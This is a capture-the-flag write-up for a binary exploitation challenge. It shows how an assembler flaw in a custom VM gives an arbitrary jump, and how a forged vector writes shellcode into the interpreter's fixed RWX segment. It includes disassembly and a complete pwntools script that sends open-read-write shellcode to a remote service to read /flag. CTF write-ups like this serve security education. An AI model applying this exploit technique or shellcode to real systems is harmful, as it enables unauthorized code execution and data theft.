Category: Binary Exploitation
Flag: texsaw{scropmaster!_12934810298401928340912830982}
Challenge Description
We got rid of win, sorry! You’re writing assembly again this time.
Analysis
This service was a custom Scheme-like VM split across a Rust compiler, a Python assembler, and a stripped static interpreter. The front-end source mattered immediately: compiler/src/main.rs exposes primitives like vector, vector-ref, and vector-set!, while assembler/main.py maps those mnemonics to hardcoded handler addresses and gives PRIMAPPLY a special case that accepts any hexadecimal immediate. Instead of resolving a named primitive, the assembler serializes PRIMAPPLY with int(m, 16).to_bytes(8, "little"), which means assembly can smuggle an arbitrary 64-bit jump target straight into the bytecode.
The first useful confirmation came from the interpreter’s protection profile.
checksec interpreter[*] '/home/rei/Downloads/CTFChan_Pwn_texsaw_SIGBOVIKIIITheScroppening/interpreter'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x50b000)
RWX: Has RWX segmentsNo PIE and a fixed RWX segment strongly suggested that the intended route was shellcode, but the obvious first attempt still ran into ASLR. The VM initializes itself by pointing rsp at the bytecode buffer, so jumping into shellcode embedded in the program would have worked only if that mmap address were known ahead of time.
0x800879e: mov rsp, rdi ; rsp = bytecode buffer
0x80087a4: mov rbx, rsi ; rbx = vm stackThe real control-flow bug sat in PRIMAPPLY. The solve log recorded the handler ending with an absolute jump through the instruction immediate.
0000000009a99000 <.text.primapply>:
9a99000: mov r8, QWORD PTR [rsp-0x8]
...
9a99068: jmp r8That turns PRIMAPPLY <hex> into an arbitrary jump primitive. The missing piece was a stable executable address, and that came from pairing two other VM operations that were much more useful together than they looked in isolation.
0x9e7000: mov rax, QWORD PTR [rsp-0x8]
0x9e7005: mov rax, QWORD PTR [rbx+rax*8]0x5ec5060: mov QWORD PTR [rax+rcx*8+0x8], rsiGET reads a raw qword from a chosen VM stack slot, which let the exploit pull immediate values staged later in the bytecode. VECTORSET writes a qword through a tagged vector pointer. The winning trick was to stop chasing the randomized mmap buffer and instead forge a vector that points at the interpreter’s fixed RWX segment. The key values from the solve log were 0x8008000 as the RWX base, 0x8008000 | 0x2 as the forged vector tag, and 0x8008800 as the shellcode destination. With those in hand, the exploit used GET to recover raw qwords from future PRIMAPPLY immediates, fed them to VECTORSET, and wrote shellcode directly into executable memory at a deterministic address. Because PRIMAPPLY expects its normal stack shape, the payload also inserted LOAD NULL before the final jump.
Before switching to the flag-reading payload, the exploit was validated with a tiny shellcode stub that printed DBG and exited.
Remote output: b'DBG'Once the write primitive and jump target were confirmed, the final shellcode used the standard open-read-write pattern against /flag, with both the path and buffer addressed relative to rip so the payload stayed position-independent after being copied into the RWX segment. The solve log recorded the final result directly.
Remote output: b'texsaw{scropmaster!_12934810298401928340912830982}\n' + padding zerosSolution
# remote_orw_flag.py
from pwn import *
context.arch='amd64'
context.log_level='info'
BASE=0x8008000
SHELL_ADDR=0x8008800
VEC_TAG=BASE|0x2
# ORW shellcode for /flag
asm_code = r'''
mov eax, 2
lea rdi, [rip+path]
xor esi, esi
xor edx, edx
syscall
mov edi, eax
lea rsi, [rip+buf]
mov edx, 0x100
xor eax, eax
syscall
mov edi, 1
mov eax, 1
syscall
mov eax, 60
xor edi, edi
syscall
path:
.ascii "/flag"
.byte 0
buf:
.zero 0x100
'''
shellcode = asm(asm_code)
chunks=[shellcode[i:i+8] for i in range(0,len(shellcode),8)]
chunks_q=[u64(c.ljust(8,b'\x00')) for c in chunks]
index_start=(SHELL_ADDR-BASE-8)//8
raw_values=[VEC_TAG]+chunks_q
num_writes=len(chunks_q)
raw_start=num_writes*5+4
raw_indices=[2*(raw_start+i)+1 for i in range(len(raw_values))]
asm_lines=[]
k=0
for i in range(num_writes):
asm_lines.append(f"GET {raw_indices[0]+k}")
k+=1
asm_lines.append(f"LOAD {index_start+i}")
k+=1
asm_lines.append(f"GET {raw_indices[1+i]+k}")
k+=1
asm_lines.append("VECTORSET")
k=1
asm_lines.append("FORGET")
k=0
asm_lines.append("LOAD NULL")
asm_lines.append("LOAD 0")
asm_lines.append("LOAD 0")
asm_lines.append(f"PRIMAPPLY {SHELL_ADDR:x}")
for val in raw_values:
asm_lines.append(f"PRIMAPPLY {val:x}")
asm_lines.append("DONE")
asm_payload='\n'.join(asm_lines)+'\n'
p=remote('143.198.163.4',1902,timeout=5)
p.send(asm_payload.encode())
out=p.recvall(timeout=5)
print(out)python remote_orw_flag.pyb'texsaw{scropmaster!_12934810298401928340912830982}\n' + padding zeros